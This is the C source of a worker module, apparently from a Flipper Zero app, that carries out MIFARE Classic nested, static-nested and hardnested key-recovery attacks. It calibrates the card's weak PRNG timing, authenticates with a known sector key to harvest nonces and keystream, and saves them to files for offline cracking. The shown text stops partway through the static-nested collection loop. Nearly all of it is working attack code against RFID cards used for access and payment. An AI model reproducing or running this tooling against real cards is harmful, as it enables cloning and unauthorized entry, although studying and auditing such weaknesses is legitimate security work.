mifare_nested_worker.c 58 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677
  1. #include "mifare_nested_worker_i.h"
  2. #include "lib/nested/nested.h"
  3. #include "lib/parity/parity.h"
  4. #include <lib/nfc/protocols/nfc_util.h>
  5. #include <storage/storage.h>
  6. #include <stream/stream.h>
  7. #include <stream/file_stream.h>
  8. #include "string.h"
  9. #include <furi.h>
  10. #include <furi_hal.h>
  11. #define TAG "MifareNestedWorker"
  12. // possible sum property values
  13. static uint16_t sums[] =
  14. {0, 32, 56, 64, 80, 96, 104, 112, 120, 128, 136, 144, 152, 160, 176, 192, 200, 224, 256};
  15. void mifare_nested_worker_change_state(
  16. MifareNestedWorker* mifare_nested_worker,
  17. MifareNestedWorkerState state) {
  18. furi_assert(mifare_nested_worker);
  19. mifare_nested_worker->state = state;
  20. }
  21. MifareNestedWorker* mifare_nested_worker_alloc() {
  22. MifareNestedWorker* mifare_nested_worker = malloc(sizeof(MifareNestedWorker));
  23. // Worker thread attributes
  24. mifare_nested_worker->thread = furi_thread_alloc_ex(
  25. "MifareNestedWorker", 8192, mifare_nested_worker_task, mifare_nested_worker);
  26. mifare_nested_worker->callback = NULL;
  27. mifare_nested_worker->context = NULL;
  28. mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady);
  29. return mifare_nested_worker;
  30. }
  31. void mifare_nested_worker_free(MifareNestedWorker* mifare_nested_worker) {
  32. furi_assert(mifare_nested_worker);
  33. furi_thread_free(mifare_nested_worker->thread);
  34. free(mifare_nested_worker);
  35. }
  36. void mifare_nested_worker_stop(MifareNestedWorker* mifare_nested_worker) {
  37. furi_assert(mifare_nested_worker);
  38. mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateStop);
  39. furi_thread_join(mifare_nested_worker->thread);
  40. }
  41. void mifare_nested_worker_start(
  42. MifareNestedWorker* mifare_nested_worker,
  43. MifareNestedWorkerState state,
  44. NfcDeviceData* dev_data,
  45. MifareNestedWorkerCallback callback,
  46. void* context) {
  47. furi_assert(mifare_nested_worker);
  48. furi_assert(dev_data);
  49. mifare_nested_worker->callback = callback;
  50. mifare_nested_worker->context = context;
  51. mifare_nested_worker->dev_data = dev_data;
  52. mifare_nested_worker_change_state(mifare_nested_worker, state);
  53. furi_thread_start(mifare_nested_worker->thread);
  54. }
  55. int32_t mifare_nested_worker_task(void* context) {
  56. MifareNestedWorker* mifare_nested_worker = context;
  57. if(mifare_nested_worker->state == MifareNestedWorkerStateCheck) {
  58. mifare_nested_worker_check(mifare_nested_worker);
  59. } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) {
  60. mifare_nested_worker_collect_nonces_static(mifare_nested_worker);
  61. } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {
  62. mifare_nested_worker_collect_nonces(mifare_nested_worker);
  63. } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {
  64. mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);
  65. } else if(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {
  66. mifare_nested_worker_check_keys(mifare_nested_worker);
  67. }
  68. mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady);
  69. return 0;
  70. }
  71. void mifare_nested_worker_write_uid_string(FuriHalNfcDevData* data, FuriString* string) {
  72. uint8_t* uid = data->uid;
  73. uint8_t uid_len = data->uid_len;
  74. for(size_t i = 0; i < uid_len; i++) {
  75. uint8_t uid_part = uid[i];
  76. furi_string_cat_printf(string, "%02X", uid_part);
  77. }
  78. }
  79. void mifare_nested_worker_get_key_cache_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
  80. furi_string_set(file_path, EXT_PATH("nfc/.cache") "/");
  81. mifare_nested_worker_write_uid_string(data, file_path);
  82. furi_string_cat_printf(file_path, ".keys");
  83. }
  84. void mifare_nested_worker_get_nonces_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
  85. furi_string_set(file_path, NESTED_FOLDER "/");
  86. mifare_nested_worker_write_uid_string(data, file_path);
  87. furi_string_cat_printf(file_path, ".nonces");
  88. }
  89. void mifare_nested_worker_get_found_keys_file_path(FuriHalNfcDevData* data, FuriString* file_path) {
  90. furi_string_set(file_path, NESTED_FOLDER "/");
  91. mifare_nested_worker_write_uid_string(data, file_path);
  92. furi_string_cat_printf(file_path, ".keys");
  93. }
  94. void mifare_nested_worker_get_hardnested_folder_path(
  95. FuriHalNfcDevData* data,
  96. FuriString* file_path) {
  97. furi_string_set(file_path, NESTED_FOLDER "/");
  98. mifare_nested_worker_write_uid_string(data, file_path);
  99. }
  100. void mifare_nested_worker_get_hardnested_file_path(
  101. FuriHalNfcDevData* data,
  102. FuriString* file_path,
  103. uint8_t sector,
  104. uint8_t key_type) {
  105. mifare_nested_worker_get_hardnested_folder_path(data, file_path);
  106. furi_string_cat_printf(file_path, "/%u_%u.nonces", sector, key_type);
  107. }
  108. uint8_t mifare_nested_worker_get_block_by_sector(uint8_t sector) {
  109. furi_assert(sector < 40);
  110. if(sector < 32) {
  111. return (sector * 4) + 3;
  112. } else {
  113. return 32 * 4 + (sector - 32) * 16 + 15;
  114. }
  115. }
  116. static MfClassicSectorTrailer*
  117. mifare_nested_worker_get_sector_trailer_by_sector(MfClassicData* data, uint8_t sector) {
  118. return (MfClassicSectorTrailer*)data->block[mifare_nested_worker_get_block_by_sector(sector)]
  119. .value;
  120. }
  121. bool mifare_nested_worker_read_key_cache(FuriHalNfcDevData* data, MfClassicData* mf_data) {
  122. Storage* storage = furi_record_open(RECORD_STORAGE);
  123. FuriString* temp_str = furi_string_alloc();
  124. mifare_nested_worker_get_key_cache_file_path(data, temp_str);
  125. FlipperFormat* file = flipper_format_file_alloc(storage);
  126. bool load_success = false;
  127. uint32_t sector_count = 0;
  128. do {
  129. if(storage_common_stat(storage, furi_string_get_cstr(temp_str), NULL) != FSE_OK) break;
  130. if(!flipper_format_file_open_existing(file, furi_string_get_cstr(temp_str))) break;
  131. uint32_t version = 0;
  132. if(!flipper_format_read_header(file, temp_str, &version)) break;
  133. if(furi_string_cmp_str(temp_str, "Flipper NFC keys")) break;
  134. if(version != 1) break;
  135. if(!flipper_format_read_string(file, "Mifare Classic type", temp_str)) break;
  136. if(!furi_string_cmp(temp_str, "1K")) {
  137. mf_data->type = MfClassicType1k;
  138. sector_count = 16;
  139. } else if(!furi_string_cmp(temp_str, "4K")) {
  140. mf_data->type = MfClassicType4k;
  141. sector_count = 40;
  142. } else if(!furi_string_cmp(temp_str, "MINI")) {
  143. mf_data->type = MfClassicTypeMini;
  144. sector_count = 5;
  145. } else {
  146. break;
  147. }
  148. if(!flipper_format_read_hex_uint64(file, "Key A map", &mf_data->key_a_mask, 1)) break;
  149. if(!flipper_format_read_hex_uint64(file, "Key B map", &mf_data->key_b_mask, 1)) break;
  150. bool key_read_success = true;
  151. for(size_t i = 0; (i < sector_count) && (key_read_success); i++) {
  152. MfClassicSectorTrailer* sec_tr =
  153. mifare_nested_worker_get_sector_trailer_by_sector(mf_data, i);
  154. if(FURI_BIT(mf_data->key_a_mask, i)) {
  155. furi_string_printf(temp_str, "Key A sector %d", i);
  156. key_read_success = flipper_format_read_hex(
  157. file, furi_string_get_cstr(temp_str), sec_tr->key_a, 6);
  158. }
  159. if(!key_read_success) break;
  160. if(FURI_BIT(mf_data->key_b_mask, i)) {
  161. furi_string_printf(temp_str, "Key B sector %d", i);
  162. key_read_success = flipper_format_read_hex(
  163. file, furi_string_get_cstr(temp_str), sec_tr->key_b, 6);
  164. }
  165. }
  166. load_success = key_read_success;
  167. } while(false);
  168. furi_string_free(temp_str);
  169. flipper_format_free(file);
  170. return load_success;
  171. }
  172. bool hex_char_to_hex_nibble(char c, uint8_t* nibble) {
  173. if((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {
  174. if(c <= '9') {
  175. *nibble = c - '0';
  176. } else if(c <= 'F') {
  177. *nibble = c - 'A' + 10;
  178. } else {
  179. *nibble = c - 'a' + 10;
  180. }
  181. return true;
  182. } else {
  183. return false;
  184. }
  185. }
  186. bool hex_char_to_uint8(char hi, char low, uint8_t* value) {
  187. uint8_t hi_nibble_value, low_nibble_value;
  188. if(hex_char_to_hex_nibble(hi, &hi_nibble_value) &&
  189. hex_char_to_hex_nibble(low, &low_nibble_value)) {
  190. *value = (hi_nibble_value << 4) | low_nibble_value;
  191. return true;
  192. } else {
  193. return false;
  194. }
  195. }
  196. void free_nonces(NonceList_t* nonces, uint8_t sector_count, uint8_t tries_count) {
  197. for(uint8_t sector = 0; sector < sector_count; sector++) {
  198. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  199. for(uint8_t tries = 0; tries < tries_count; tries++) {
  200. free(nonces->nonces[sector][key_type][tries]);
  201. }
  202. }
  203. }
  204. }
  205. MfClassicType mifare_nested_worker_get_tag_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) {
  206. UNUSED(ATQA1);
  207. if((ATQA0 == 0x44 || ATQA0 == 0x04)) {
  208. if((SAK == 0x08 || SAK == 0x88)) {
  209. return MfClassicType1k;
  210. } else if(SAK == 0x09) {
  211. return MfClassicTypeMini;
  212. }
  213. } else if((ATQA0 == 0x01) && (ATQA1 == 0x0F) && (SAK == 0x01)) {
  214. //skylanders support
  215. return MfClassicType1k;
  216. } else if((ATQA0 == 0x42 || ATQA0 == 0x02) && (SAK == 0x18)) {
  217. return MfClassicType4k;
  218. }
  219. return MfClassicType1k;
  220. }
  221. uint32_t mifare_nested_worker_predict_delay(
  222. FuriHalNfcTxRxContext* tx_rx,
  223. uint8_t blockNo,
  224. uint8_t keyType,
  225. uint64_t ui64Key,
  226. uint32_t tries,
  227. MifareNestedWorker* mifare_nested_worker) {
  228. uint32_t cuid = 0;
  229. Crypto1* crypto = malloc(sizeof(Crypto1));
  230. uint32_t nt1, nt2, i = 0, previous = 0, prng_delay = 0, zero_prng_value = 65565, repeat = 0;
  231. if(tries > 25) {
  232. free(crypto);
  233. return 2; // Too many tries, fallback to hardnested
  234. }
  235. // This part of attack is my attempt to implement it on Flipper.
  236. // Proxmark can do this in 2 fucking steps, but idk how.
  237. // First, we find RPNG rounds per 1000 us
  238. for(uint32_t rtr = 0; rtr < 25; rtr++) {
  239. if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
  240. free(crypto);
  241. return 1;
  242. }
  243. nfc_activate();
  244. if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
  245. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
  246. furi_delay_us(rtr * 1000);
  247. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
  248. // Searching for delay, where PRNG will be near 800
  249. uint32_t nttmp = prng_successor(nt1, 100);
  250. for(i = 101; i < 65565; i++) {
  251. nttmp = prng_successor(nttmp, 1);
  252. if(nttmp == nt2) break;
  253. }
  254. if(!rtr) {
  255. zero_prng_value = i;
  256. }
  257. if(previous && i > previous && i != 65565) {
  258. if(!prng_delay) {
  259. prng_delay = i - previous;
  260. } else if(prng_delay - 100 > i - previous && prng_delay + 100 < i - previous) {
  261. prng_delay += i - previous;
  262. prng_delay /= 2;
  263. }
  264. }
  265. previous = i;
  266. FURI_LOG_D(TAG, "Calibrating: ntdist=%lu, delay=%lu", i, rtr * 1000);
  267. // Let's hope...
  268. if(i > 810 && i < 840) {
  269. free(crypto);
  270. return rtr * 1000;
  271. }
  272. }
  273. FURI_LOG_D(TAG, "PRNG timing: growth ratio per 1000 us = %lu", prng_delay);
  274. // Next, we try to calculate time until PRNG near 800 with more perfect timing
  275. // Mifare Classic (weak) RPNG repeats every 65565 PRNG cycles
  276. if(zero_prng_value == 65565) {
  277. free(crypto);
  278. // PRNG isn't pretictable
  279. return 1;
  280. }
  281. uint32_t cycles_to_reset = (65565 - zero_prng_value) / prng_delay;
  282. uint32_t limit = 7;
  283. for(uint32_t rtr = cycles_to_reset - 1; rtr < cycles_to_reset + limit; rtr++) {
  284. for(uint32_t rtz = 0; rtz < 100; rtz++) {
  285. if(mifare_nested_worker->state != MifareNestedWorkerStateCollecting) {
  286. free(crypto);
  287. return 1;
  288. }
  289. nfc_activate();
  290. if(!furi_hal_nfc_activate_nfca(200, &cuid)) break;
  291. uint32_t delay = rtr * 1000 + rtz * 10;
  292. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1);
  293. furi_delay_us(delay);
  294. mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2);
  295. // Searching for delay, where PRNG will be near 800
  296. uint32_t nttmp = prng_successor(nt1, 0);
  297. for(i = 1; i < 65565; i++) {
  298. nttmp = prng_successor(nttmp, 1);
  299. if(nttmp == nt2) break;
  300. }
  301. if(!(i > previous - 50 && i < previous + 50) && rtz) {
  302. repeat++;
  303. if(repeat < 5) {
  304. FURI_LOG_D(TAG, "Invalid RPNG value: ntdist=%lu", i);
  305. continue;
  306. }
  307. }
  308. if(i > 2000 && i < 65500) {
  309. uint32_t catch_cycles = (65565 - i) / prng_delay;
  310. if(catch_cycles > 2) {
  311. catch_cycles++;
  312. FURI_LOG_D(
  313. TAG,
  314. "Trying a more accurate value: skipping additional %lu us",
  315. catch_cycles * 1000);
  316. limit += catch_cycles + 2;
  317. rtr += catch_cycles;
  318. }
  319. }
  320. FURI_LOG_D(
  321. TAG,
  322. "Calibrating: ntdist=%lu, delay=%lu, max=%lu",
  323. i,
  324. delay,
  325. (cycles_to_reset + limit) * 1000);
  326. repeat = 0;
  327. previous = i;
  328. if(i > 810 && i < 840) {
  329. free(crypto);
  330. FURI_LOG_I(TAG, "Found delay: %lu us", delay);
  331. return delay;
  332. } else if(i > 840 && i < 40000) {
  333. FURI_LOG_D(TAG, "Trying again: timing lost");
  334. tries++;
  335. free(crypto);
  336. return mifare_nested_worker_predict_delay(
  337. tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);
  338. }
  339. }
  340. }
  341. if(i > 1000 && i < 65000) {
  342. FURI_LOG_D(TAG, "Trying again: wrong predicted timing");
  343. tries++;
  344. free(crypto);
  345. return mifare_nested_worker_predict_delay(
  346. tx_rx, blockNo, keyType, ui64Key, tries, mifare_nested_worker);
  347. }
  348. free(crypto);
  349. return 1;
  350. }
  351. void mifare_nested_worker_write_nonces(
  352. FuriHalNfcDevData* data,
  353. Storage* storage,
  354. NonceList_t* nonces,
  355. uint8_t tries_count,
  356. uint8_t sector_count,
  357. uint32_t delay,
  358. uint32_t distance) {
  359. FuriString* path = furi_string_alloc();
  360. Stream* file_stream = file_stream_alloc(storage);
  361. mifare_nested_worker_get_nonces_file_path(data, path);
  362. file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ_WRITE, FSOM_CREATE_ALWAYS);
  363. FuriString* header = furi_string_alloc_printf(
  364. "Filetype: Flipper Nested Nonce Manifest File\nVersion: %s\nNote: you will need desktop app to recover keys: %s\n",
  365. NESTED_NONCE_FORMAT_VERSION,
  366. NESTED_RECOVER_KEYS_GITHUB_LINK);
  367. stream_write_string(file_stream, header);
  368. for(uint8_t tries = 0; tries < tries_count; tries++) {
  369. for(uint8_t sector = 0; sector < sector_count; sector++) {
  370. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  371. if(nonces->nonces[sector][key_type][tries]->collected &&
  372. !nonces->nonces[sector][key_type][tries]->skipped) {
  373. if(nonces->nonces[sector][key_type][tries]->hardnested) {
  374. FuriString* path = furi_string_alloc();
  375. mifare_nested_worker_get_hardnested_file_path(
  376. data, path, sector, key_type);
  377. FuriString* str = furi_string_alloc_printf(
  378. "HardNested: Key %c cuid 0x%08lx file %s sec %u\n",
  379. !key_type ? 'A' : 'B',
  380. nonces->cuid,
  381. furi_string_get_cstr(path),
  382. sector);
  383. stream_write_string(file_stream, str);
  384. furi_string_free(path);
  385. furi_string_free(str);
  386. } else {
  387. FuriString* str = furi_string_alloc_printf(
  388. "Nested: Key %c cuid 0x%08lx", !key_type ? 'A' : 'B', nonces->cuid);
  389. for(uint8_t type = 0; type < 2; type++) {
  390. furi_string_cat_printf(
  391. str,
  392. " nt%u 0x%08lx ks%u 0x%08lx par%u ",
  393. type,
  394. nonces->nonces[sector][key_type][tries]->target_nt[type],
  395. type,
  396. nonces->nonces[sector][key_type][tries]->target_ks[type],
  397. type);
  398. uint8_t* par = nonces->nonces[sector][key_type][tries]->parity[type];
  399. for(uint8_t i = 0; i < 4; i++) {
  400. furi_string_cat_printf(str, "%u", par[i]);
  401. }
  402. }
  403. furi_string_cat_printf(str, " sec %u\n", sector);
  404. stream_write_string(file_stream, str);
  405. furi_string_free(str);
  406. }
  407. }
  408. }
  409. }
  410. }
  411. if(delay) {
  412. FuriString* str =
  413. furi_string_alloc_printf("Nested: Delay %lu, distance %lu", delay, distance);
  414. stream_write_string(file_stream, str);
  415. furi_string_free(str);
  416. }
  417. free_nonces(nonces, sector_count, tries_count);
  418. furi_string_free(path);
  419. file_stream_close(file_stream);
  420. free(file_stream);
  421. furi_record_close(RECORD_STORAGE);
  422. }
  423. bool mifare_nested_worker_check_initial_keys(
  424. NonceList_t* nonces,
  425. MfClassicData* mf_data,
  426. uint8_t tries_count,
  427. uint8_t sector_count,
  428. uint64_t* key,
  429. uint32_t* key_block,
  430. uint32_t* found_key_type) {
  431. bool has_a_key, has_b_key;
  432. FuriHalNfcTxRxContext tx_rx = {};
  433. for(uint8_t sector = 0; sector < sector_count; sector++) {
  434. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  435. for(uint8_t tries = 0; tries < tries_count; tries++) {
  436. Nonces* info = malloc(sizeof(Nonces));
  437. info->key_type = key_type;
  438. info->block = mifare_nested_worker_get_block_by_sector(sector);
  439. info->collected = false;
  440. nonces->nonces[sector][key_type][tries] = info;
  441. }
  442. }
  443. }
  444. for(uint8_t sector = 0; sector < sector_count; sector++) {
  445. MfClassicSectorTrailer* trailer =
  446. mifare_nested_worker_get_sector_trailer_by_sector(mf_data, sector);
  447. has_a_key = FURI_BIT(mf_data->key_a_mask, sector);
  448. has_b_key = FURI_BIT(mf_data->key_b_mask, sector);
  449. if(has_a_key) {
  450. for(uint8_t tries = 0; tries < tries_count; tries++) {
  451. Nonces* info = nonces->nonces[sector][0][tries];
  452. info->collected = true;
  453. nonces->nonces[sector][0][tries] = info;
  454. }
  455. if(*key_block == 0) {
  456. uint64_t key_check = nfc_util_bytes2num(trailer->key_a, 6);
  457. if(nested_check_key(
  458. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 0, key_check) ==
  459. NestedCheckKeyValid) {
  460. *key = key_check;
  461. *key_block = mifare_nested_worker_get_block_by_sector(sector);
  462. *found_key_type = 0;
  463. }
  464. }
  465. }
  466. if(has_b_key) {
  467. for(uint8_t tries = 0; tries < tries_count; tries++) {
  468. Nonces* info = nonces->nonces[sector][1][tries];
  469. info->collected = true;
  470. nonces->nonces[sector][1][tries] = info;
  471. }
  472. if(*key_block == 0) {
  473. uint64_t key_check = nfc_util_bytes2num(trailer->key_b, 6);
  474. if(nested_check_key(
  475. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), 1, key_check) ==
  476. NestedCheckKeyValid) {
  477. *key = key_check;
  478. *key_block = mifare_nested_worker_get_block_by_sector(sector);
  479. *found_key_type = 1;
  480. }
  481. }
  482. }
  483. }
  484. nonces->cuid = 0;
  485. nonces->hardnested_states = 0;
  486. nonces->sector_count = sector_count;
  487. nonces->tries = tries_count;
  488. return *key_block;
  489. }
  490. void mifare_nested_worker_check(MifareNestedWorker* mifare_nested_worker) {
  491. while(mifare_nested_worker->state == MifareNestedWorkerStateCheck) {
  492. FuriHalNfcTxRxContext tx_rx = {};
  493. NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
  494. MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
  495. FuriHalNfcDevData data = {};
  496. MifareNestedNonceType type = MifareNestedNonceNoTag;
  497. nested_get_data(&data);
  498. if(mifare_nested_worker_read_key_cache(&data, mf_data)) {
  499. for(uint8_t sector = 0; sector < 40; sector++) {
  500. if(FURI_BIT(mf_data->key_a_mask, sector) ||
  501. FURI_BIT(mf_data->key_b_mask, sector)) {
  502. type = nested_check_nonce_type(
  503. &tx_rx, mifare_nested_worker_get_block_by_sector(sector));
  504. break;
  505. }
  506. }
  507. if(type == MifareNestedNonceNoTag) {
  508. type = nested_check_nonce_type(&tx_rx, 0);
  509. }
  510. } else {
  511. type = nested_check_nonce_type(&tx_rx, 0);
  512. }
  513. if(type == MifareNestedNonceStatic) {
  514. mifare_nested_worker->context->collecting_type =
  515. MifareNestedWorkerStateCollectingStatic;
  516. mifare_nested_worker->callback(
  517. MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
  518. break;
  519. } else if(type == MifareNestedNonceWeak) {
  520. mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollecting;
  521. mifare_nested_worker->callback(
  522. MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
  523. break;
  524. } else if(type == MifareNestedNonceHard) {
  525. mifare_nested_worker->context->collecting_type = MifareNestedWorkerStateCollectingHard;
  526. mifare_nested_worker->callback(
  527. MifareNestedWorkerEventCollecting, mifare_nested_worker->context);
  528. break;
  529. }
  530. furi_delay_ms(250);
  531. }
  532. nfc_deactivate();
  533. }
  534. void mifare_nested_worker_collect_nonces_static(MifareNestedWorker* mifare_nested_worker) {
  535. NonceList_t nonces;
  536. Storage* storage = furi_record_open(RECORD_STORAGE);
  537. NfcDevice* dev = mifare_nested_worker->context->nfc_dev;
  538. MfClassicData* mf_data = &dev->dev_data.mf_classic_data;
  539. FuriString* folder_path = furi_string_alloc();
  540. FuriHalNfcDevData data = {};
  541. nested_get_data(&data);
  542. MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak);
  543. uint64_t key = 0; // Found key for attack
  544. uint32_t found_key_type = 0;
  545. uint32_t key_block = 0;
  546. uint32_t sector_count = 0;
  547. FURI_LOG_I(TAG, "Running Static Nested attack");
  548. FuriString* tag_info = furi_string_alloc_printf("Tag UID: ");
  549. mifare_nested_worker_write_uid_string(&data, tag_info);
  550. FURI_LOG_I(TAG, "%s", furi_string_get_cstr(tag_info));
  551. furi_string_free(tag_info);
  552. if(type == MfClassicType4k) {
  553. sector_count = 40;
  554. FURI_LOG_I(TAG, "Found Mifare Classic 4K tag");
  555. } else if(type == MfClassicType1k) {
  556. sector_count = 16;
  557. FURI_LOG_I(TAG, "Found Mifare Classic 1K tag");
  558. } else { // if(type == MfClassicTypeMini)
  559. sector_count = 5;
  560. FURI_LOG_I(TAG, "Found Mifare Classic Mini tag");
  561. }
  562. furi_string_set(folder_path, NESTED_FOLDER);
  563. storage_common_mkdir(storage, furi_string_get_cstr(folder_path));
  564. furi_string_free(folder_path);
  565. if(!mifare_nested_worker_read_key_cache(&data, mf_data)) {
  566. mifare_nested_worker->callback(
  567. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  568. nfc_deactivate();
  569. free(mf_data);
  570. free_nonces(&nonces, sector_count, 1);
  571. return;
  572. }
  573. if(!mifare_nested_worker_check_initial_keys(
  574. &nonces, mf_data, 1, sector_count, &key, &key_block, &found_key_type)) {
  575. mifare_nested_worker->callback(
  576. MifareNestedWorkerEventNeedKey, mifare_nested_worker->context);
  577. nfc_deactivate();
  578. free(mf_data);
  579. free_nonces(&nonces, sector_count, 1);
  580. return;
  581. }
  582. FURI_LOG_I(
  583. TAG, "Using %c key for block %lu: %012llX", !found_key_type ? 'A' : 'B', key_block, key);
  584. while(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) {
  585. FuriHalNfcTxRxContext tx_rx = {};
  586. for(uint8_t sector = 0; sector < sector_count; sector++) {
  587. for(uint8_t key_type = 0; key_type < 2; key_type++) {
  588. Nonces* info = nonces.nonces[sector][key_type][0];
  589. if(info->collected) {
  590. FURI_LOG_I(
  591. TAG,
  592. "Skipping sector %u, block %u, key_type: %u as we already have a key",
  593. sector,
  594. mifare_nested_worker_get_block_by_sector(sector),
  595. key_type);
  596. info->skipped = true;
  597. nonces.nonces[sector][key_type][0] = info;
  598. mifare_nested_worker->context->nonces = &nonces;
  599. mifare_nested_worker->callback(
  600. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  601. continue;
  602. }
  603. if(!nested_check_block(
  604. &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type)) {
  605. FURI_LOG_E(
  606. TAG,
  607. "Skipping sector %u, block %u, key_type: %u as we can't auth on it",
  608. sector,
  609. mifare_nested_worker_get_block_by_sector(sector),
  610. key_type);
  611. info->skipped = true;
  612. nonces.nonces[sector][key_type][0] = info;
  613. mifare_nested_worker->context->nonces = &nonces;
  614. mifare_nested_worker->callback(
  615. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  616. continue;
  617. }
  618. while(!info->collected) {
  619. if(mifare_nested_worker->state != MifareNestedWorkerStateCollectingStatic) {
  620. break;
  621. }
  622. struct nonce_info_static result = nested_static_nonce_attack(
  623. &tx_rx,
  624. key_block,
  625. found_key_type,
  626. mifare_nested_worker_get_block_by_sector(sector),
  627. key_type,
  628. key);
  629. if(result.full) {
  630. FURI_LOG_I(
  631. TAG,
  632. "Accured nonces for sector %u, block %u, key_type: %u",
  633. sector,
  634. mifare_nested_worker_get_block_by_sector(sector),
  635. key_type);
  636. info = nonces.nonces[sector][key_type][0];
  637. info->collected = true;
  638. memcpy(&info->target_nt, result.target_nt, sizeof(result.target_nt));
  639. memcpy(&info->target_ks, result.target_ks, sizeof(result.target_ks));
  640. nonces.nonces[sector][key_type][0] = info;
  641. nonces.cuid = result.cuid;
  642. nonces.sector_count = sector_count;
  643. mifare_nested_worker->context->nonces = &nonces;
  644. mifare_nested_worker->callback(
  645. MifareNestedWorkerEventNewNonce, mifare_nested_worker->context);
  646. break;
  647. } else {
  648. mifare_nested_worker->callback(
  649. MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context);
  650. }
